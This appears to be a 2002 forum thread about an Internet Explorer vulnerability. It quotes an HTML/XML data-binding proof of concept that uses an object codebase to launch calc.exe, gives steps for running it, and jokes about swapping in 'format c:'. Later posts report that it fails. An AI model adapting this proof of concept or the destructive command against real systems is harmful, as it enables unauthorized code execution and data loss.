All Things Microsoft > Microsoft Software

Fun little IE exploit.

<< < (2/4) > >>

jtpenrod:
Or how about this one fromThe Register

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/windows/system32/calc.exe"></object>
            ]]>
        </exploit>
    </security>
</xml>

Just copy that into any text editor, save as a *.html file and open it with IE. According to the article, this will launch the calculator program. Macro$uck doesn't have a patch for this (so what else did you expect?   :eek:  ) There is a way to get around this, but the cure sounds almost as bad as the disease. I don't suppose it would be too much trouble to get that to do, let's say, format c:  ;)  ?

Yet another Stupid Windows Trick from the Trustworthy Computing Co.  :D    :D    :D    :D

Druid:
Doesn't work for me.
Win2k, IE6

The path "c:/windows/ system32/calc.exe" is valid, btw

Druid

voidmain:
Druid, do you think you can get your money back?  Sounds like your copy of Windows isn't working properly.  

[ March 07, 2002: Message edited by: VoidMain ]

tallwookie2:
hmm... running win 98 se... that "command line" easter egg or whatever didnt do a damned thing... luv the site btw!

-tallwookie2

phill:
Win2K, IE6, don't do anything here  :confused:    :D

Navigation

[0] Message Index

[#] Next page

[*] Previous page